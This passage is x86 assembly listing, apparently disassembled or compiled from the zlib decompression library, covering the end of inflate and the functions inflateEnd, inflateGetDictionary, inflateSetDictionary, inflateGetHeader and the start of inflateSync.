$16, %edx cmpw $15, %dx ja .L08050246 .L0804FE7E: movzbl %bh, %ecx movl -116(%ebp), %ebx movl %ebx, %eax incl %eax shrl %cl, -36(%ebp) subl %ecx, %esi movw %dx, 112(%edi,%ebx,2) movl %eax, 104(%edi) .L0804FE94: movl %eax, -116(%ebp) .L0804FE97: movl -100(%ebp), %ebx addl -104(%ebp), %ebx cmpl %ebx, -116(%ebp) jb .L0804FE28 .L0804FEA2: movl (%edi), %eax cmpl $29, %eax je .L0804F3E7 .L0804FEAD: cmpw $0, 624(%edi) jne .L0805075B .L0804FEBB: movl 8(%ebp), %ecx movl $.LC080554C4, 24(%ecx) jmp .L0804FA24 .L0804FECA: movl $0, -36(%ebp) xorl %esi, %esi .L0804FED3: movl $28, (%edi) .L0804FED9: movl $1, -52(%ebp) jmp .L0804F580 .L0804FEE5: movl -32(%ebp), %ecx testl %ecx, %ecx je .L0804F580 .L0804FEF0: movl -24(%ebp), %ebx movl 64(%edi), %eax movb %al, (%ebx) incl %ebx movl %ebx, -24(%ebp) decl -32(%ebp) .L0804FEFF: movl $20, %eax movl $20, (%edi) jmp .L0804F3EC .L0804FF0F: movl $-3, -52(%ebp) jmp .L0804F580 .L0804FF1B: movl 8(%edi), %eax .L0804FF1E: testl %eax, %eax je .L0804FED3 .L0804FF22: movl 16(%edi), %ebx testl %ebx, %ebx je .L0804FED3 .L0804FF29: cmpl $31, %esi ja .L0804FF56 .L0804FF2E: .p2align 3 .L0804FF30: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L0804FF3B: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %edx movl %esi, %ecx sall %cl, %edx addl %edx, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $31, %esi jbe .L0804FF30 .L0804FF56: movl -36(%ebp), %eax cmpl %eax, 28(%edi) je .L0804FECA .L0804FF62: movl 8(%ebp), %edx movl $.LC0805537F, 24(%edx) jmp .L0804FA24 .L0804FF71: movl 8(%edi), %eax testl %eax, %eax je .L08050582 .L0804FF7C: cmpl $31, %esi ja .L0804FFA7 .L0804FF81: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0804FF8C: movl -20(%ebp), %eax decl -28(%ebp) movzbl (%eax), %ebx movl %esi, %ecx sall %cl, %ebx addl %ebx, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $31, %esi jbe .L0804FF81 .L0804FFA7: movl -44(%ebp), %eax subl -32(%ebp), %eax movl 8(%ebp), %edx addl %eax, 20(%edx) addl %eax, 28(%edi) testl %eax, %eax je .L0804FFE1 .L0804FFBA: movl 16(%edi), %ebx testl %ebx, %ebx je .L080507BD .L0804FFC5: pushl %ecx pushl %eax movl -24(%ebp), %edx subl %eax, %edx pushl %edx pushl 24(%edi) call crc32 .L0804FFD5: movl 8(%ebp), %ecx movl %eax, 24(%edi) addl $16, %esp movl %eax, 48(%ecx) .L0804FFE1: movl 16(%edi), %edx movl -32(%ebp), %eax testl %edx, %edx movl %eax, -44(%ebp) movl 24(%edi), %ecx jne .L0805073A .L0804FFF5: movl -36(%ebp), %edx shrl $8, %edx movl -36(%ebp), %ebx movl -36(%ebp), %eax andl $65280, %edx shrl $24, %ebx andl $65280, %eax addl %edx, %ebx sall $8, %eax movl -36(%ebp), %edx addl %eax, %ebx sall $24, %edx addl %edx, %ebx cmpl %ecx, %ebx .L08050020: je .L08050576 .L08050026: movl 8(%ebp), %ecx movl $.LC08055396, 24(%ecx) jmp .L0804FA24 .L08050035: movl 92(%edi), %ebx .L08050038: movl 104(%edi), %eax .L0805003B: cmpl %ebx, %eax jae .L080504ED .L08050043: cmpl $2, %esi ja .L0805006F .L08050048: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L08050053: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi cmpl $2, %esi jbe .L08050048 .L0805006F: movl 104(%edi), %ecx movl -36(%ebp), %eax andl $7, %eax movzwl order.0(%ecx,%ecx), %edx movw %ax, 112(%edi,%edx,2) shrl $3, -36(%ebp) leal 1(%ecx), %eax subl $3, %esi movl %eax, 104(%edi) jmp .L0805003B .L08050094: movl 16(%edi), %edx jmp .L0804F95F .L0805009C: movl 16(%edi), %edx jmp .L0804F8E3 .L080500A4: movl 8(%edi), %edx testl %edx, %edx jne .L080500BB .L080500AB: movl $12, %eax movl $12, (%edi) jmp .L0804F3EC .L080500BB: cmpl $15, %esi ja .L080500E6 .L080500C0: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L080500CB: movl -20(%ebp), %ebx decl -28(%ebp) movzbl (%ebx), %eax movl %esi, %ecx sall %cl, %eax addl %eax, -36(%ebp) incl -20(%ebp) addl $8, %esi cmpl $15, %esi jbe .L080500C0 .L080500E6: testb $2, %dl je .L080500F8 .L080500EB: cmpl $35615, -36(%ebp) je .L08050876 .L080500F8: movl 32(%edi), %eax testl %eax, %eax movl $0, 16(%edi) je .L08050110 .L08050106: movl $-1, 48(%eax) movl 8(%edi), %edx .L08050110: andl $1, %edx je .L08050135 .L08050115: movzbl -36(%ebp), %eax movl -36(%ebp), %edx shrl $8, %edx sall $8, %eax addl %edx, %eax movl $31, %ebx xorl %edx, %edx divl %ebx testl %edx, %edx je .L080507D2 .L08050135: movl 8(%ebp), %eax movl $.LC080553AB, 24(%eax) jmp .L0804FA24 .L08050144: movl %esi, %ecx andl $7, %ecx andl $-8, %esi shrl %cl, -36(%ebp) cmpl $31, %esi ja .L0805017B .L08050154: movl -28(%ebp), %ebx testl %ebx, %ebx je .L0804F580 .L0805015F: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi cmpl $31, %esi jbe .L08050154 .L0805017B: movl -36(%ebp), %ebx shrl $16, %ebx movzwl -36(%ebp), %edx xorl $65535, %ebx cmpl %ebx, %edx je .L08050704 .L08050193: movl 8(%ebp), %edx movl $.LC080553C2, 24(%edx) jmp .L0804FA24 .L080501A2: movl 16(%edi), %edx jmp .L0804F844 .L080501AA: movl 16(%edi), %edx jmp .L0804F9D4 .L080501B2: movl 16(%edi), %edx jmp .L0804F7E5 .L080501BA: cmpl $2, %esi ja .L08050913 .L080501C3: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L080501CE: movl -20(%ebp), %eax decl -28(%ebp) movzbl (%eax), %ebx movl %esi, %ecx sall %cl, %ebx addl %ebx, -36(%ebp) incl -20(%ebp) addl $8, %esi jmp .L080501BA .L080501E6: .p2align 3 .L080501E8: movl 8(%ebp), %edx movl 16(%edx), %eax jmp .L0804F5D4 .L080501F3: addl $256, %edx jmp .L0804F6EC .L080501FE: movl $0, -36(%ebp) xorl %esi, %esi .L08050207: movl 32(%edi), %eax testl %eax, %eax je .L0805021E .L0805020E: sarl $9, %edx andl $1, %edx movl %edx, 44(%eax) movl $1, 48(%eax) .L0805021E: pushl %eax pushl $0 pushl $0 pushl $0 call crc32 .L0805022A: movl 8(%ebp), %ecx movl %eax, 24(%edi) addl $16, %esp movl %eax, 48(%ecx) movl $11, %eax movl $11, (%edi) jmp .L0804F3EC .L08050246: cmpw $16, %dx je .L080502F2 .L08050250: cmpw $17, %dx je .L0805035B .L0805025A: movzbl %bh, %eax addl $7, %eax cmpl %esi, %eax jbe .L08050290 .L08050264: movl -28(%ebp), %edx testl %edx, %edx je .L0804F580 .L0805026F: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi movzbl %bh, %eax addl $7, %eax cmpl %esi, %eax ja .L08050264 .L08050290: movzbl %bh, %ecx movl -36(%ebp), %edx shrl %cl, %edx movl %ecx, %ebx movl %esi, %ecx movl %edx, %esi andl $127, %esi subl %ebx, %ecx addl $11, %esi shrl $7, %edx movl %esi, -120(%ebp) xorl %ebx, %ebx movl %edx, -36(%ebp) leal -7(%ecx), %esi .L080502B4: movl -116(%ebp), %edx movl -100(%ebp), %eax addl -120(%ebp), %edx addl -104(%ebp), %eax cmpl %eax, %edx ja .L08050837 .L080502C8: movl -120(%ebp), %edx decl %edx cmpl $-1, %edx jne .L080502DB .L080502D1: jmp .L0804FE97 .L080502D6: .p2align 3 .L080502D8: movl %eax, -116(%ebp) .L080502DB: movl -116(%ebp), %eax decl %edx movw %bx, 112(%edi,%eax,2) incl %eax cmpl $-1, %edx movl %eax, 104(%edi) jne .L080502D8 .L080502ED: jmp .L0804FE94 .L080502F2: movzbl %bh, %edx addl $2, %edx cmpl %esi, %edx jbe .L08050328 .L080502FC: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L08050307: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi movzbl %bh, %edx addl $2, %edx cmpl %esi, %edx ja .L080502FC .L08050328: movzbl %bh, %ecx movl -116(%ebp), %ebx shrl %cl, -36(%ebp) subl %ecx, %esi testl %ebx, %ebx je .L08050904 .L0805033B: movl -36(%ebp), %eax movl -116(%ebp), %edx andl $3, %eax addl $3, %eax movzwl 110(%edi,%edx,2), %ebx shrl $2, -36(%ebp) subl $2, %esi movl %eax, -120(%ebp) jmp .L080502B4 .L0805035B: movzbl %bh, %ecx addl $3, %ecx cmpl %esi, %ecx jbe .L08050391 .L08050365: movl -28(%ebp), %eax testl %eax, %eax je .L0804F580 .L08050370: movl -20(%ebp), %edx decl -28(%ebp) movzbl (%edx), %eax movl %esi, %ecx sall %cl, %eax incl %edx addl %eax, -36(%ebp) movl %edx, -20(%ebp) addl $8, %esi movzbl %bh, %ecx addl $3, %ecx cmpl %esi, %ecx ja .L08050365 .L08050391: movzbl %bh, %ecx movl -36(%ebp), %edx shrl %cl, %edx movl %ecx, %ebx movl %esi, %ecx movl %edx, %esi andl $7, %esi subl %ebx, %ecx addl $3, %esi movl %esi, -120(%ebp) shrl $3, %edx xorl %ebx, %ebx leal -3(%ecx), %esi movl %edx, -36(%ebp) jmp .L080502B4 .L080503BA: movl 32(%edi), %eax testl %eax, %eax je .L0804F9CE .L080503C5: movl $0, 36(%eax) jmp .L0804F9CE .L080503D1: subl $-128, %edx jmp .L0804F6DA .L080503D9: movl 32(%edi), %eax testl %eax, %eax je .L0804F952 .L080503E4: movl $0, 28(%eax) jmp .L0804F952 .L080503F0: subl %eax, -24(%ebp) pushl %esi pushl %eax pushl -24(%ebp) pushl -92(%ebp) call memcpy .L08050400: addl $16, %esp movl 40(%ebx), %eax movl $0, 48(%ebx) jmp .L0804F669 .L08050412: movl 32(%edi), %eax testl %eax, %eax je .L0804F83E .L0805041D: movl $0, 16(%eax) jmp .L0804F83E .L08050429: movl -24(%ebp), %ecx movl 64(%edi), %edx subl %eax, %ecx movl %edx, %eax .L08050433: cmpl -32(%ebp), %edx jbe .L0805043B .L08050438: movl -32(%ebp), %edx .L0805043B: subl %edx, %eax subl %edx, -32(%ebp) movl %eax, 64(%edi) .p2align 2 .L08050444: movb (%ecx), %al movl -24(%ebp), %ebx movb %al, (%ebx) incl %ecx incl %ebx decl %edx movl %ebx, -24(%ebp) jne .L08050444 .L08050453: movl 64(%edi), %edx testl %edx, %edx je .L0804FEFF .L0805045E: movl (%edi), %eax jmp .L0804F3E7 .L08050465: .p2align 3 .L08050468: subl %eax, -24(%ebp) pushl %ecx pushl %eax pushl -24(%ebp) pushl 52(%ebx) call memcpy .L08050478: movl -136(%ebp), %edx addl $16, %esp movl 40(%ebx), %eax movl %edx, 48(%ebx) jmp .L0804F669 .L0805048C: pushl %ecx pushl %ebx movl 8(%ebp), %edx movl 12(%edx), %ecx subl %ebx, %ecx pushl %ecx pushl 24(%edi) call adler32 .L0805049F: jmp .L0804F6B2 .L080504A4: movl 48(%edi), %eax cmpl %edx, %eax movl %eax, %ecx jae .L080504B2 .L080504AD: subl %eax, %edx movl 40(%edi), %ecx .L080504B2: subl %edx, %ecx movl 64(%edi), %eax addl 52(%edi), %ecx cmpl %edx, %eax jae .L08050433 .L080504C2: movl %eax, %edx jmp .L08050433 .L080504C9: pushl %eax pushl %ebx pushl -20(%ebp) pushl 24(%edi) call crc32 .L080504D6: addl $16, %esp movl %eax, 24(%edi) jmp .L0804F9BA .L080504E1: movl $0, 48(%ebx) jmp .L0804F660 .L080504ED: cmpl $18, %eax ja .L0805050F .L080504F2: leal 1(%eax), %edx .L080504F5: movl %edx, %eax movzwl .LC080549DE(%edx,%edx), %ebx incl %edx cmpl $18, %eax movw $0, 112(%edi,%ebx,2) jbe .L080504F5 .L0805050C: movl %eax, 104(%edi) .L0805050F: subl $8, %esp leal 1328(%edi), %ecx leal 752(%edi), %ebx movl %ecx, 108(%edi) movl %ecx, 76(%edi) movl $7, 84(%edi) leal 84(%edi), %eax pushl %ebx pushl %eax leal 108(%edi), %edx pushl %edx pushl $19 leal 112(%edi), %ecx pushl %ecx pushl $0 call inflate_table .L08050541: addl $32, %esp testl %eax, %eax movl %eax, -52(%ebp) je .L0804FDE6 .L0805054F: movl 8(%ebp), %edx movl $.LC080553DF, 24(%edx) jmp .L0804FA24 .L0805055E: pushl %ecx pushl %ebx pushl -20(%ebp) pushl 24(%edi) call crc32 .L0805056B: addl $16, %esp movl %eax, 24(%edi) jmp .L0804F93E .L08050576: movl $0, -36(%ebp) xorl %esi, %esi movl 8(%edi), %eax .L08050582: movl $27, (%edi) jmp .L0804FF1E .L0805058D: movb -36(%ebp), %cl shrl $8, -36(%ebp) movb -36(%ebp), %al movb %cl, -16(%ebp) movb %al, -15(%ebp) pushl %esi pushl $2 leal -16(%ebp), %edx pushl %edx pushl 24(%edi) call crc32 .L080505AC: addl $16, %esp movl 16(%edi), %edx movl %eax, 24(%edi) jmp .L0804F7D6 .L080505BA: shrl $16, %ebx movl %ebx, 68(%edi) movl %eax, %ebx andl $15, %ebx movl %ebx, 72(%edi) movl $23, (%edi) jmp .L0804FA77 .L080505D3: movzbl %bl, %eax testb $32, %al je .L08050742 .L080505DE: movl $-1, 7108(%edi) jmp .L0804FB1D .L080505ED: movl 8(%ebp), %edx movl -24(%ebp), %ebx movl -32(%ebp), %ecx movl %ecx, 16(%edx) movl %ebx, 12(%edx) movl -20(%ebp), %eax movl -28(%ebp), %ebx movl -36(%ebp), %ecx subl $8, %esp movl %ebx, 4(%edx) movl %eax, (%edx) movl %ecx, 56(%edi) movl %esi, 60(%edi) pushl -44(%ebp) pushl %edx call inflate_fast .L0805061C: movl 8(%ebp), %eax movl 8(%ebp), %edx movl 12(%eax), %ebx movl 8(%ebp), %ecx movl (%edx), %eax movl 16(%ecx), %esi movl %ebx, -24(%ebp) movl %eax, -20(%ebp) movl 8(%ebp), %ebx movl (%edi), %eax movl %esi, -32(%ebp) movl 4(%ebx), %ecx movl 56(%edi), %esi addl $16, %esp cmpl $11, %eax movl %esi, -36(%ebp) movl %ecx, -28(%ebp) movl 60(%edi), %esi jne .L0804F3E7 .L08050656: movl $-1, 7108(%edi) jmp .L0804F3EC .L08050665: movb -36(%ebp), %al shrl $8, -36(%ebp) movb -36(%ebp), %dl movb %dl, -15(%ebp) movb %al, -16(%ebp) pushl %ecx pushl $2 leal -16(%ebp), %esi pushl %esi pushl 24(%edi) call crc32 .L08050684: addl $16, %esp movl 16(%edi), %edx movl %eax, 24(%edi) jmp .L0804F835 .L08050692: movb -36(%ebp), %al shrl $8, -36(%ebp) movb -36(%ebp), %cl shrl $8, -36(%ebp) movb -36(%ebp), %dl shrl $8, -36(%ebp) movb -36(%ebp), %bl movb %al, -16(%ebp) movb %cl, -15(%ebp) movb %dl, -14(%ebp) movb %bl, -13(%ebp) pushl %eax pushl $4 leal -16(%ebp), %eax pushl %eax pushl 24(%edi) call crc32 .L080506C5: addl $16, %esp movl %eax, 24(%edi) jmp .L0804F77C .L080506D0: pushl %eax pushl %ebx pushl -20(%ebp) pushl 24(%edi) call crc32 .L080506DD: addl $16, %esp movl %eax, 24(%edi) jmp .L0804F8BD .L080506E8: testl $57344, -36(%ebp) je .L0804F713 .L080506F5: movl 8(%ebp), %eax movl $.LC080553F8, 24(%eax) jmp .L0804FA24 .L08050704: xorl %esi, %esi cmpl $6, 12(%ebp) movl %edx, 64(%edi) movl $0, -36(%ebp) jne .L0804FB0C .L0805071A: movl $14, (%edi) jmp .L0804F580 .L08050725: .p2align 3 .L08050728: movl $0, 104(%edi) movl $17, (%edi) jmp .L08050038 .L0805073A: cmpl -36(%ebp), %ecx jmp .L08050020 .L08050742: testb $64, %al movl %edx, 7108(%edi) je .L080507AA .L0805074C: movl 8(%ebp), %ebx movl $.LC08055411, 24(%ebx) jmp .L0804FA24 .L0805075B: leal 1328(%edi), %ebx subl $8, %esp movl %ebx, 108(%edi) movl %ebx, 76(%edi) leal 752(%edi), %ebx movl $9, 84(%edi) leal 84(%edi), %ecx pushl %ebx pushl %ecx leal 108(%edi), %edx movl %edx, -68(%ebp) pushl %edx pushl 96(%edi) leal 112(%edi), %eax pushl %eax pushl $1 call inflate_table .L08050791: addl $32, %esp testl %eax, %eax movl %eax, -52(%ebp) je .L080507F0 .L0805079B: movl 8(%ebp), %eax movl $.LC0805542D, 24(%eax) jmp .L0804FA24 .L080507AA: movl %eax, %ebx andl $15, %ebx movl %ebx, 72(%edi) movl $21, (%edi) jmp .L0804FC54 .L080507BD: pushl %edx pushl %eax movl -24(%ebp), %ebx subl %eax, %ebx pushl %ebx pushl 24(%edi) call adler32 .L080507CD: jmp .L0804FFD5 .L080507D2: movl -36(%ebp), %ecx andl $15, %ecx cmpl $8, %ecx je .L080508BD .L080507E1: movl 8(%ebp), %ebx movl $.LC0805531C, 24(%ebx) jmp .L0804FA24 .L080507F0: subl $8, %esp movl 108(%edi), %eax movl %eax, 80(%edi) movl $6, 88(%edi) pushl %ebx leal 88(%edi), %ebx pushl %ebx pushl -68(%ebp) pushl 100(%edi) movl 96(%edi), %ecx leal 112(%edi,%ecx,2), %edx pushl %edx pushl $2 call inflate_table .L0805081A: addl $32, %esp testl %eax, %eax movl %eax, -52(%ebp) je .L080508EF .L08050828: movl 8(%ebp), %edx movl $.LC08055449, 24(%edx) jmp .L0804FA24 .L08050837: movl 8(%ebp), %ebx movl $.LC0805545F, 24(%ebx) .L08050841: movl $29, (%edi) jmp .L0804FEA2 .L0805084C: movb -36(%ebp), %dl shrl $8, -36(%ebp) movb -36(%ebp), %bl movb %dl, -16(%ebp) movb %bl, -15(%ebp) pushl %eax pushl $2 leal -16(%ebp), %ecx pushl %ecx pushl 24(%edi) call crc32 .L0805086B: addl $16, %esp movl %eax, 24(%edi) jmp .L0804F72F .L08050876: pushl %edx pushl $0 pushl $0 pushl $0 call crc32 .L08050882: addl $12, %esp movl %eax, 24(%edi) leal -16(%ebp), %edx movb $31, -16(%ebp) movb $139, -15(%ebp) pushl $2 pushl %edx pushl 24(%edi) call crc32 .L0805089E: movl %eax, 24(%edi) addl $16, %esp xorl %esi, %esi movl $1, %eax movl $0, -36(%ebp) movl $1, (%edi) jmp .L0804F3EC .L080508BD: shrl $4, -36(%ebp) movl -36(%ebp), %edx movl 36(%edi), %eax andl $15, %edx subl $4, %esi testl %eax, %eax leal 8(%edx), %ecx je .L08050A1F .L080508D8: cmpl %ecx, %eax jae .L08050A22 .L080508E0: movl 8(%ebp), %eax movl $.LC08055479, 24(%eax) jmp .L0804FA24 .L080508EF: cmpl $6, 12(%ebp) jne .L0804FB2D .L080508F9: movl $19, (%edi) jmp .L0804F580 .L08050904: movl 8(%ebp), %eax movl $.LC0805545F, 24(%eax) jmp .L08050841 .L08050913: movl -36(%ebp), %edx andl $1, %edx movl %edx, 4(%edi) movl -36(%ebp), %edx shrl $1, %edx movl %edx, %eax andl $3, %eax cmpl $1, %eax leal -1(%esi), %ecx je .L080509D1 .L08050932: jb .L08050A14 .L08050938: cmpl $2, %eax je .L08050A09 .L08050941: cmpl $3, %eax jne .L08050956 .L08050946: movl 8(%ebp), %esi movl $.LC0805548D, 24(%esi) movl $29, (%edi) .L08050956: shrl $2, %edx leal -2(%ecx), %esi movl (%edi), %eax movl %edx, -36(%ebp) jmp .L0804F3E7 .L08050966: cmpl -28(%ebp), %ebx jbe .L0805096E .L0805096B: movl -28(%ebp), %ebx .L0805096E: cmpl -32(%ebp), %ebx jbe .L08050976 .L08050973: movl -32(%ebp), %ebx .L08050976: testl %ebx, %ebx je .L0804F580 .L0805097E: pushl %eax pushl %ebx pushl -20(%ebp) pushl -24(%ebp) call memcpy .L0805098B: subl %ebx, -28(%ebp) addl %ebx, -20(%ebp) subl %ebx, -32(%ebp) addl %ebx, -24(%ebp) subl %ebx, 64(%edi) addl $16, %esp movl (%edi), %eax jmp .L0804F3E7 .L080509A4: movl 8(%ebp), %ecx movl -24(%ebp), %eax movl -32(%ebp), %ebx movl %eax, 12(%ecx) movl -28(%ebp), %eax movl %ebx, 16(%ecx) movl %eax, 4(%ecx) movl -20(%ebp), %edx movl -36(%ebp), %ebx movl $2, %eax movl %edx, (%ecx) movl %ebx, 56(%edi) movl %esi, 60(%edi) jmp .L0804F401 .L080509D1: cmpl $6, 12(%ebp) movl $lenfix.1, 76(%edi) movl $9, 84(%edi) movl $distfix.2, 80(%edi) movl $5, 88(%edi) movl $19, (%edi) jne .L08050956 .L080509FD: shrl $3, -36(%ebp) subl $3, %esi jmp .L0804F580 .L08050A09: movl $16, (%edi) jmp .L08050956 .L08050A14: movl $13, (%edi) jmp .L08050956 .L08050A1F: movl %ecx, 36(%edi) .L08050A22: movl $1, %ebx sall %cl, %ebx movl %ebx, 20(%edi) pushl %eax pushl $0 pushl $0 pushl $0 call adler32 .L08050A38: andl $512, -36(%ebp) movl 8(%ebp), %esi addl $16, %esp cmpl $1, -36(%ebp) movl %eax, 24(%edi) movl %eax, 48(%esi) sbbl %eax, %eax andl $2, %eax addl $9, %eax xorl %esi, %esi movl %eax, (%edi) movl $0, -36(%ebp) jmp .L0804F3E7 .size inflate, .-inflate # ---------------------- .L08050A67: .p2align 3 # ---------------------- .globl inflateEnd .type inflateEnd, @function inflateEnd: pushl %ebp movl %esp, %ebp pushl %ebx pushl %eax movl 8(%ebp), %ebx testl %ebx, %ebx je .L08050AA4 .L08050A74: movl 28(%ebx), %eax testl %eax, %eax je .L08050AA4 .L08050A7B: movl 36(%ebx), %edx testl %edx, %edx je .L08050AA4 .L08050A82: movl 52(%eax), %eax testl %eax, %eax jne .L08050AAE .L08050A89: subl $8, %esp pushl 28(%ebx) pushl 40(%ebx) call *%edx .L08050A94: movl $0, 28(%ebx) xorl %eax, %eax movl -4(%ebp), %ebx leave ret .L08050AA2: .p2align 2 .L08050AA4: movl $-2, %eax movl -4(%ebp), %ebx leave ret .L08050AAE: subl $8, %esp pushl %eax pushl 40(%ebx) call *%edx .L08050AB7: addl $16, %esp movl 36(%ebx), %edx jmp .L08050A89 .size inflateEnd, .-inflateEnd # ---------------------- .L08050ABF: .p2align 3 # ---------------------- .globl inflateGetDictionary .type inflateGetDictionary, @function inflateGetDictionary: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %esi movl 16(%ebp), %edi je .L08050ADD .L08050AD6: movl 28(%eax), %ebx testl %ebx, %ebx jne .L08050AEC .L08050ADD: leal -12(%ebp), %esp popl %ebx popl %esi movl $-2, %eax popl %edi leave ret .L08050AEA: .p2align 2 .L08050AEC: movl 44(%ebx), %edx testl %edx, %edx je .L08050B20 .L08050AF3: testl %esi, %esi je .L08050B20 .L08050AF7: movl 48(%ebx), %eax subl %eax, %edx addl 52(%ebx), %eax pushl %ecx pushl %edx pushl %eax pushl %esi call memcpy .L08050B08: movl 48(%ebx), %eax addl $12, %esp addl 44(%ebx), %esi pushl %eax pushl 52(%ebx) subl %eax, %esi pushl %esi call memcpy .L08050B1D: addl $16, %esp .L08050B20: testl %edi, %edi je .L08050B29 .L08050B24: movl 44(%ebx), %edx movl %edx, (%edi) .L08050B29: leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .size inflateGetDictionary, .-inflateGetDictionary # ---------------------- .L08050B33: .p2align 2 # ---------------------- .globl inflateSetDictionary .type inflateSetDictionary, @function inflateSetDictionary: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %esi testl %esi, %esi je .L08050C30 .L08050B48: movl 28(%esi), %edi testl %edi, %edi movl %edi, %ebx je .L08050C30 .L08050B55: movl 8(%edi), %eax testl %eax, %eax je .L08050C40 .L08050B60: cmpl $10, (%edi) movl $-2, %edx jne .L08050C35 .L08050B6E: pushl %ecx pushl $0 pushl $0 pushl $0 call adler32 .L08050B7A: addl $12, %esp pushl 16(%ebp) pushl 12(%ebp) pushl %eax call adler32 .L08050B89: addl $16, %esp cmpl %eax, 24(%edi) movl $-3, %edx jne .L08050C35 .L08050B9A: movl 28(%esi), %ebx movl 52(%ebx), %eax movl 12(%ebp), %edx addl 16(%ebp), %edx testl %eax, %eax movl %edx, -16(%ebp) movl %eax, -24(%ebp) je .L08050C60 .L08050BB4: movl 40(%ebx), %eax testl %eax, %eax je .L08050C90 .L08050BBF: cmpl 16(%ebp), %eax jbe .L08050CB1 .L08050BC8: movl 48(%ebx), %edx movl %eax, %esi subl %edx, %esi cmpl 16(%ebp), %esi jbe .L08050BD7 .L08050BD4: movl 16(%ebp), %esi .L08050BD7: movl -16(%ebp), %eax subl 16(%ebp), %eax addl -24(%ebp), %edx pushl %ecx pushl %esi pushl %eax pushl %edx call memcpy .L08050BE9: movl 16(%ebp), %eax addl $16, %esp subl %esi, %eax movl %eax, -20(%ebp) jne .L08050CD3 .L08050BFA: movl 48(%ebx), %eax addl %esi, %eax movl 40(%ebx), %edx cmpl %edx, %eax je .L08050CF4 .L08050C0A: movl %eax, 48(%ebx) .L08050C0D: movl 44(%ebx), %eax cmpl %edx, %eax jae .L08050C1B .L08050C14: addl %esi, %eax .p2align 3 .L08050C18: movl %eax, 44(%ebx) .L08050C1B: movl $1, 12(%edi) leal -12(%ebp), %esp popl %ebx popl %esi xorl %edx, %edx movl %edx, %eax popl %edi leave ret .L08050C2E: .p2align 3 .L08050C30: movl $-2, %edx .L08050C35: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L08050C3F: .p2align 3 .L08050C40: cmpl $10, (%edi) je .L08050B6E .L08050C49: movl 52(%ebx), %eax movl 12(%ebp), %edx addl 16(%ebp), %edx testl %eax, %eax movl %edx, -16(%ebp) movl %eax, -24(%ebp) jne .L08050BB4 .L08050C60: pushl %edx pushl $1 movl 36(%ebx), %ecx movb $1, %al sall %cl, %eax pushl %eax pushl 40(%esi) call *32(%esi) .L08050C71: addl $16, %esp testl %eax, %eax movl %eax, -24(%ebp) movl %eax, 52(%ebx) jne .L08050BB4 .L08050C82: movl $-4, %edx movl $30, (%edi) jmp .L08050C35 .L08050C8F: .p2align 3 .L08050C90: movl 36(%ebx), %ecx movb $1, %al sall %cl, %eax cmpl 16(%ebp), %eax movl %eax, 40(%ebx) movl $0, 48(%ebx) movl $0, 44(%ebx) ja .L08050BC8 .L08050CB1: subl %eax, -16(%ebp) pushl %esi pushl %eax pushl -16(%ebp) pushl -24(%ebp) call memcpy .L08050CC1: addl $16, %esp movl 40(%ebx), %eax movl $0, 48(%ebx) jmp .L08050C18 .L08050CD3: subl %eax, -16(%ebp) pushl %esi pushl %eax pushl -16(%ebp) pushl 52(%ebx) call memcpy .L08050CE3: movl -20(%ebp), %esi addl $16, %esp movl 40(%ebx), %eax movl %esi, 48(%ebx) jmp .L08050C18 .L08050CF4: movl $0, 48(%ebx) jmp .L08050C0D .size inflateSetDictionary, .-inflateSetDictionary # ---------------------- .globl inflateGetHeader .type inflateGetHeader, @function inflateGetHeader: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %ecx je .L08050D30 .L08050D0D: movl 28(%eax), %edx testl %edx, %edx je .L08050D30 .L08050D14: testb $2, 8(%edx) movl $-2, %eax je .L08050D2B .L08050D1F: movl %ecx, 32(%edx) movl $0, 48(%ecx) xorl %eax, %eax .L08050D2B: leave ret .L08050D2D: .p2align 3 .L08050D30: movl $-2, %eax leave ret .size inflateGetHeader, .-inflateGetHeader # ---------------------- .L08050D37: .p2align 3 # ---------------------- .globl inflateSync .type inflateSync, @function inflateSync: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $8, %esp movl 8(%ebp), %eax testl %eax, %eax je .L08050F04 .L08050D4C: movl 8(%ebp), %edx movl 28(%edx), %ebx testl %ebx, %ebx je .L08050F04 .L08050D5A: movl 8(%ebp), %ecx movl 4(%ecx), %edi testl %edi, %edi jne .L08050D73 .L08050D64: cmpl $7, 60(%ebx) movl $-5, %eax jbe .L08050F09 .L08050D73: leal 104(%ebx), %esi cmpl $31, (%ebx) movl %esi, -20(%ebp) je .L08050E06 .L08050D82: movl 60(%ebx), %eax movl %eax, %ecx movl 56(%ebx), %edx andl $7, %ecx sall %cl, %edx andl $-8, %eax xorl %esi, %esi leal -16(%ebp), %edi movl $31, (%ebx) movl %edx, 56(%ebx) movl %eax, 60(%ebx) jmp .L08050DC0 .L08050DA5: .p2align 3 .L08050DA8: movb %dl, (%esi,%edi) movl 56(%ebx), %eax shrl $8, %eax movl %eax, %edx movl %eax, 56(%ebx) movl 60(%ebx), %eax subl 